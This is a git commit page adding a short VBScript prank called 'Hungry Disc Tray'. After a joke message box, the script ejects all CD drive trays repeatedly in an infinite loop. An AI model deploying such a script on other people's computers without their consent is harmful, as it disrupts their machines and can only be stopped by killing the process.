diff options
| author | rafa_99 <raroma09@gmail.com> | 2021-09-23 16:40:24 +0100 |
|---|---|---|
| committer | rafa_99 <raroma09@gmail.com> | 2021-09-23 16:40:24 +0100 |
| commit | 6c2e76026c0fe6211c171c36d5b5aff523b989b1 (patch) | |
| tree | 9749a52a77ae910c7e949e83e498fbee8fb9b5e3 /Hungry Disc Tray | |
| parent | b29bf8c1c7b03f86926b0d876caf31a111eefe22 (diff) | |
Diffstat (limited to 'Hungry Disc Tray')
| -rw-r--r-- | Hungry Disc Tray/hungry_disc_tray.vbs | 13 |
1 files changed, 13 insertions, 0 deletions
diff --git a/Hungry Disc Tray/hungry_disc_tray.vbs b/Hungry Disc Tray/hungry_disc_tray.vbs new file mode 100644 index 0000000..7c78340 --- /dev/null +++ b/Hungry Disc Tray/hungry_disc_tray.vbs @@ -0,0 +1,13 @@ +MsgBox "I Say Disco you Say Party Disco Disco Party Party", VBCritical, "Wanna Play Disco ? " +Set oWMP = CreateObject("WMPlayer.OCX.7" ) +Set colCDROMs = oWMP.cdromCollection +if colCDROMs.Count >= 1 then +do +For i = 0 to colCDROMs.Count - 1 +colCDROMs.Item(i).Eject +Next ' cdrom +For i = 0 to colCDROMs.Count - 1 +colCDROMs.Item(i).Eject +Next ' cdrom +loop +End If |